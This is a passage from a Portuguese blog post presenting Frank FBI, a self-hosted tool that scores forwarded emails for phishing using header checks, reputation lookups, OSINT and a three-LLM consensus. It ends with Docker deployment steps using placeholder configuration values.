<p>E os golpes estão cada vez mais sofisticados. Com LLMs, qualquer criminoso gera emails perfeitos em português, sem erros gramaticais, com formatação profissional, com domínios que imitam empresas reais. O velho &ldquo;olha os erros de português&rdquo; já não serve mais como filtro.</p>
<h2>A ideia: Frank FBI<span class="hx:absolute hx:-mt-20" id="a-ideia-frank-fbi"></span>
    <a href="#a-ideia-frank-fbi" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Em vez de tentar ensinar todo mundo a identificar phishing (o que não funciona, porque a vaidade é mais forte que o treinamento), por que não criar uma ferramenta que faça isso automaticamente?</p>
<p>Recebeu um email suspeito? Encaminha pra um endereço dedicado. Em poucos minutos, recebe de volta um relatório detalhado com tudo que a ferramenta conseguiu descobrir sobre aquele email.</p>
<p>Assim nasceu o <a href="https://github.com/akitaonrails/frank_fbi"target="_blank" rel="noopener">Frank FBI</a> &ndash; Fraud Bureau of Investigation.</p>
<h2>Como funciona<span class="hx:absolute hx:-mt-20" id="como-funciona"></span>
    <a href="#como-funciona" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Você configura uma conta Gmail dedicada (pode ser qualquer Gmail com App Password). Cadastra os emails autorizados a usar o serviço. A partir daí, o fluxo é:</p>
<ol>
<li>Recebe email suspeito na sua caixa pessoal</li>
<li>Encaminha pro endereço do Frank FBI</li>
<li>O sistema analisa automaticamente</li>
<li>Recebe a resposta na mesma thread, com o relatório completo</li>
</ol>
<p>Pra dar uma ideia do resultado, aqui está um relatório de um email legítimo (cold outreach de uma empresa real):</p>
<p><img src="https://raw.githubusercontent.com/akitaonrails/frank_fbi/master/docs/ok-email.png" alt="Relatório de email legítimo - score 80/100"  loading="lazy" /></p>
<p>E aqui um email suspeito, onde o domínio do remetente tenta se passar por outra empresa:</p>
<p><img src="https://raw.githubusercontent.com/akitaonrails/frank_fbi/master/docs/suspect-email.png" alt="Relatório de email suspeito - score 40/100"  loading="lazy" /></p>
<p>O Frank FBI roda 6 camadas de análise, cada uma com peso específico na pontuação final:</p>
<h3>Camada 1 &ndash; Autenticação de headers (peso 15%)<span class="hx:absolute hx:-mt-20" id="camada-1--autenticação-de-headers-peso-15"></span>
    <a href="#camada-1--autentica%c3%a7%c3%a3o-de-headers-peso-15" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>SPF, DKIM, DMARC. O Reply-To bate com o From? Tem headers antispam suspeitos? Essa camada responde a pergunta mais básica: o email realmente veio de quem diz que veio?</p>
<h3>Camada 2 &ndash; Reputação do remetente (peso 15%)<span class="hx:absolute hx:-mt-20" id="camada-2--reputação-do-remetente-peso-15"></span>
    <a href="#camada-2--reputa%c3%a7%c3%a3o-do-remetente-peso-15" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Consulta a idade do domínio via WHOIS (domínio registrado semana passada já é um sinal), verifica se o IP está em listas negras de DNS (DNSBL), e mantém um banco de reputação local que melhora conforme mais emails são analisados. Se o remetente finge ser uma empresa mas manda de um Gmail, isso pesa.</p>
<h3>Camada 3 &ndash; Análise de conteúdo (peso 15%)<span class="hx:absolute hx:-mt-20" id="camada-3--análise-de-conteúdo-peso-15"></span>
    <a href="#camada-3--an%c3%a1lise-de-conte%c3%bado-peso-15" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Aqui entra o pattern matching: urgência artificial (&ldquo;sua conta será bloqueada em 24h&rdquo;), pedidos de dados pessoais, impersonação de autoridade, ofertas financeiras. Também detecta URL shorteners e links onde o texto exibido não bate com o href real &ndash; aquele clássico &ldquo;clique aqui&rdquo; que aponta pra um domínio completamente diferente. Verifica anexos perigosos (.exe, .scr, macros em Office).</p>
<h3>Camada 4 &ndash; APIs externas (peso 15%)<span class="hx:absolute hx:-mt-20" id="camada-4--apis-externas-peso-15"></span>
    <a href="#camada-4--apis-externas-peso-15" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O URLhaus (abuse.ch) mantém um banco de URLs maliciosas conhecido. O VirusTotal agrega resultados de dezenas de antivírus. Se alguma URL do email já foi flagada como malware ou phishing por essas bases, o score sobe. Resultados ficam em cache com TTL pra não estourar os rate limits das APIs gratuitas.</p>
<h3>Camada 5 &ndash; Verificação de entidade (peso 10%)<span class="hx:absolute hx:-mt-20" id="camada-5--verificação-de-entidade-peso-10"></span>
    <a href="#camada-5--verifica%c3%a7%c3%a3o-de-entidade-peso-10" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Essa camada eu acho a mais interessante. O Frank FBI faz OSINT &ndash; Open Source Intelligence. Usa o Brave Search pra verificar se o remetente ou empresa realmente existe. Faz WHOIS do domínio diretamente. Captura screenshot do site com Chrome headless. Cruza tudo pra tentar responder: &ldquo;essa entidade é real e é quem diz ser?&rdquo;</p>
<p>Olha um exemplo real dessa camada em ação, analisando um email que tentava se passar por uma empresa legítima:</p>
<p><img src="https://raw.githubusercontent.com/akitaonrails/frank_fbi/master/docs/verificacao-identidade.png" alt="Verificação de identidade - OSINT detalhado"  loading="lazy" /></p>
<p>O domínio tinha 83 dias de vida, registrado via Namecheap, sem presença online verificável. O sistema encontrou divergências entre o nome no email e os registros públicos, e identificou que o domínio legítimo da empresa real era outro.</p>
<h3>Camada 6 &ndash; Análise por LLM (peso 30%)<span class="hx:absolute hx:-mt-20" id="camada-6--análise-por-llm-peso-30"></span>
    <a href="#camada-6--an%c3%a1lise-por-llm-peso-30" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Consulta 3 modelos de IA em paralelo: Claude Sonnet (Anthropic), GPT-4o (OpenAI) e Grok 4 (xAI), via OpenRouter. Cada modelo analisa o email de forma independente. Um sistema de consenso com peso por confiança combina os resultados. Se os 3 concordam que é fraude, a confiança é alta. Se divergem, o sistema pondera. Se todos os LLMs falharem, cai pra um score neutro de 50 em vez de adivinhar &ndash; melhor admitir ignorância do que alucinar.</p>
<p>A pontuação final é uma média ponderada com ajuste de confiança. Vereditos possíveis: Legítimo (0-25), Suspeito OK (26-50), Suspeito Fraude (51-75) ou Fraudulento (76-100). Existe ainda uma política de escalação de risco que impõe pisos mínimos: se indicadores críticos foram detectados (URLs maliciosas confirmadas, DKIM falhou), o score não pode ficar abaixo de certos limiares, mesmo que outras camadas não tenham achado nada.</p>
<h2>Self-hosted: seus dados ficam com você<span class="hx:absolute hx:-mt-20" id="self-hosted-seus-dados-ficam-com-você"></span>
    <a href="#self-hosted-seus-dados-ficam-com-voc%c3%aa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Frank FBI é self-hosted. Você roda no seu próprio servidor. Seus emails não passam por nenhum serviço de terceiro (exceto as APIs de verificação como VirusTotal, que recebem apenas URLs, não o conteúdo do email).</p>
<p>Dá pra instalar no seu home server, como eu fiz, ou dentro da infraestrutura da sua empresa pra que seus funcionários usem. O deploy é via Docker Compose com 4 containers: aplicação Rails, worker de jobs em background, poller IMAP, e um setup inicial de banco. Sobe tudo com um <code>docker compose up -d</code> e está funcionando.</p>
<h2>Reportando fraudes pra comunidade<span class="hx:absolute hx:-mt-20" id="reportando-fraudes-pra-comunidade"></span>
    <a href="#reportando-fraudes-pra-comunidade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Além de analisar emails pra você, o Frank FBI pode opcionalmente reportar fraudes confirmadas pra bancos de dados comunitários. Isso só acontece quando o score é &gt;= 85 e o veredito é &ldquo;fraudulento&rdquo;. É opt-in.</p>
<p>O ThreatFox (abuse.ch) é um banco de dados aberto de indicadores de comprometimento (IOCs) mantido pela comunidade de segurança. Quando você reporta uma URL ou domínio malicioso lá, firewalls, filtros de email e SIEMs ao redor do mundo podem consumir essa informação pra bloquear a ameaça.</p>
<p>O AbuseIPDB é a mesma ideia, mas pra IPs. Se o IP do remetente do email fraudulento é reportado aqui, provedores de email e administradores de rede podem bloquear tráfego malicioso antes que chegue aos usuários.</p>
<p>E o SpamCop é um dos serviços mais antigos de reporting de spam. O Frank FBI encaminha o email completo pro SpamCop, que analisa os headers e reporta pros provedores responsáveis. É denunciar direto pra quem pode agir.</p>
<p>Cada report é uma contribuição pra que outras pessoas não caiam no mesmo golpe. E é automatizado: se o email é claramente fraudulento, o report sai sem intervenção manual.</p>
<p>Mas reportar coisas erradas causa dano. Por isso o sistema tem proteções anti-envenenamento: uma lista de ~40 domínios conhecidos (Microsoft, Apple, Google, Amazon, PayPal, governos) que nunca são reportados; domínios com scan limpo são excluídos; IPs de infraestrutura de cloud (Google, Microsoft, Cloudflare) são filtrados; domínios de email gratuito são ignorados. Só IOCs genuinamente maliciosos chegam aos bancos comunitários.</p>
<h2>Deploy: como colocar pra rodar<span class="hx:absolute hx:-mt-20" id="deploy-como-colocar-pra-rodar"></span>
    <a href="#deploy-como-colocar-pra-rodar" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Vou explicar como eu fiz o deploy no meu home server. Se você tem um VPS, NAS ou qualquer máquina Linux com Docker, o processo é o mesmo.</p>
<h3>1. Clonar e buildar a imagem<span class="hx:absolute hx:-mt-20" id="1-clonar-e-buildar-a-imagem"></span>
    <a href="#1-clonar-e-buildar-a-imagem" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Você precisa de um registry privado pra guardar a imagem Docker. Eu uso <a href="https://gitea.io/"target="_blank" rel="noopener">Gitea</a> no meu home server &ndash; é um GitHub self-hosted leve que inclui container registry. Se você já tem um GitHub privado, pode usar o GitHub Container Registry (ghcr.io) em vez disso.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Clonar o repositório</span>
</span></span><span class="line"><span class="cl">git clone https://github.com/akitaonrails/frank_fbi.git
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> frank_fbi
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Buildar a imagem Docker</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Se usa Gitea (troque pelo IP/porta do seu registry):</span>
</span></span><span class="line"><span class="cl">docker build -t seu-servidor:3007/frank_fbi:latest .
</span></span><span class="line"><span class="cl">docker push seu-servidor:3007/frank_fbi:latest
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Se usa GitHub Container Registry:</span>
</span></span><span class="line"><span class="cl">docker build -t ghcr.io/seu-usuario/frank_fbi:latest .
</span></span><span class="line"><span class="cl">docker push ghcr.io/seu-usuario/frank_fbi:latest</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. Configurar o .env<span class="hx:absolute hx:-mt-20" id="2-configurar-o-env"></span>
    <a href="#2-configurar-o-env" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Copie o <code>.env.example</code> e preencha. As variáveis obrigatórias:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Gere com: ruby -rsecurerandom -e &#39;puts SecureRandom.hex(64)&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nv">SECRET_KEY_BASE</span><span class="o">=</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Gere com: bin/rails db:encryption:init (roda local, copia os 3 valores)</span>
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT</span><span class="o">=</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Gmail dedicado pro Frank FBI (crie uma conta só pra isso)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Ative 2FA e gere um App Password em https://myaccount.google.com/apppasswords</span>
</span></span><span class="line"><span class="cl"><span class="nv">GMAIL_USERNAME</span><span class="o">=</span>seu-frank-fbi@gmail.com
</span></span><span class="line"><span class="cl"><span class="nv">GMAIL_PASSWORD</span><span class="o">=</span>xxxx-xxxx-xxxx-xxxx
</span></span><span class="line"><span class="cl"><span class="nv">GMAIL_IMAP_HOST</span><span class="o">=</span>imap.gmail.com
</span></span><span class="line"><span class="cl"><span class="nv">GMAIL_SMTP_HOST</span><span class="o">=</span>smtp.gmail.com
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Senha do ingress do Action Mailbox (qualquer string aleatória)</span>
</span></span><span class="line"><span class="cl"><span class="nv">RAILS_INBOUND_EMAIL_PASSWORD</span><span class="o">=</span>uma-senha-qualquer-longa
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># LLM via OpenRouter (obrigatório pra Camada 6)</span>
</span></span><span class="line"><span class="cl"><span class="nv">OPENROUTER_API_KEY</span><span class="o">=</span>sua-chave-openrouter
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Seu email de admin (pra gerenciar remetentes autorizados)</span>
</span></span><span class="line"><span class="cl"><span class="nv">ADMIN_EMAIL</span><span class="o">=</span>seu-email@pessoal.com</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>As APIs externas são opcionais mas recomendadas. Sem elas, as camadas correspondentes simplesmente não rodam:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># VirusTotal (grátis, 4 requests/min) - https://virustotal.com</span>
</span></span><span class="line"><span class="cl"><span class="nv">VIRUSTOTAL_API_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># WhoisXML (grátis, 500 requests/mês) - https://whoisxmlapi.com</span>
</span></span><span class="line"><span class="cl"><span class="nv">WHOISXML_API_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Brave Search (grátis, 1 req/s) - https://brave.com/search/api/</span>
</span></span><span class="line"><span class="cl"><span class="nv">BRAVE_SEARCH_API_KEY</span><span class="o">=</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E o community reporting, que é totalmente opt-in. Deixe em branco se não quiser reportar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">THREATFOX_AUTH_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl"><span class="nv">ABUSEIPDB_API_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl"><span class="nv">SPAMCOP_SUBMISSION_ADDRESS</span><span class="o">=</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. Docker Compose no servidor<span class="hx:absolute hx:-mt-20" id="3-docker-compose-no-servidor"></span>
    <a href="#3-docker-compose-no-servidor" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Crie o <code>docker-compose.yml</code> no seu servidor. Troque a imagem pelo seu registry:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">setup</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">seu-servidor:3007/frank_fbi:latest </span><span class="w"> </span><span class="c"># ou ghcr.io/seu-usuario/frank_fbi:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;./bin/rails&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;db:prepare&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">env_file</span><span class="p">:</span><span class="w"> </span><span class="l">.env</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">RAILS_ENV=production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./storage:/rails/storage</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">app</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">seu-servidor:3007/frank_fbi:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">env_file</span><span class="p">:</span><span class="w"> </span><span class="l">.env</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">RAILS_ENV=production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./storage:/rails/storage</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./emails:/rails/emails</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">setup</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">condition</span><span class="p">:</span><span class="w"> </span><span class="l">service_completed_successfully</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">healthcheck</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">test</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;CMD&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;curl&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;-f&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;http://localhost:3000/up&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">interval</span><span class="p">:</span><span class="w"> </span><span class="l">10s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">timeout</span><span class="p">:</span><span class="w"> </span><span class="l">5s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">retries</span><span class="p">:</span><span class="w"> </span><span class="m">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">start_period</span><span class="p">:</span><span class="w"> </span><span class="l">15s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">worker</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">seu-servidor:3007/frank_fbi:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;./bin/jobs&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">env_file</span><span class="p">:</span><span class="w"> </span><span class="l">.env</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">RAILS_ENV=production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./storage:/rails/storage</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">setup</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">condition</span><span class="p">:</span><span class="w"> </span><span class="l">service_completed_successfully</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">mail_fetcher</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">seu-servidor:3007/frank_fbi:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;./bin/rails&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;frank_fbi:fetch_mail&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">env_file</span><span class="p">:</span><span class="w"> </span><span class="l">.env</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">RAILS_ENV=production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">APP_HOST=http://app:3000</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./storage:/rails/storage</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">app</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">condition</span><span class="p">:</span><span class="w"> </span><span class="l">service_healthy</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Subir e cadastrar o primeiro usuário<span class="hx:absolute hx:-mt-20" id="4-subir-e-cadastrar-o-primeiro-usuário"></span>
    <a href="#4-subir-e-cadastrar-o-primeiro-usu%c3%a1rio" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker compose up -d</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>setup</code> roda as migrations e sai. O <code>app</code> sobe o Rails, o <code>worker</code> processa os jobs em background, e o <code>mail_fetcher</code> fica fazendo polling IMAP a cada 30 segundos.</p>
<p>Pra cadastrar remetentes autorizados, mande um email do seu ADMIN_EMAIL pro endereço do Frank FBI com o assunto <code>add email1@exemplo.com, email2@exemplo.com</code>. Pra listar quem está cadastrado, mande com assunto <code>list</code>. Pra ver estatísticas, <code>stats</code>.</p>
<p>A partir daí, qualquer remetente cadastrado pode encaminhar emails suspeitos e receber os relatórios de análise.</p>
<h2>O processo de desenvolvimento<span class="hx:absolute hx:-mt-20" id="o-processo-de-desenvolvimento"></span>
    <a href="#o-processo-de-desenvolvimento" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esse projeto começou como uma ideia simples: &ldquo;e se eu pudesse encaminhar emails suspeitos pra algum lugar e receber uma análise?&rdquo;. Mas projetos de segurança não são como projetos normais.</p>
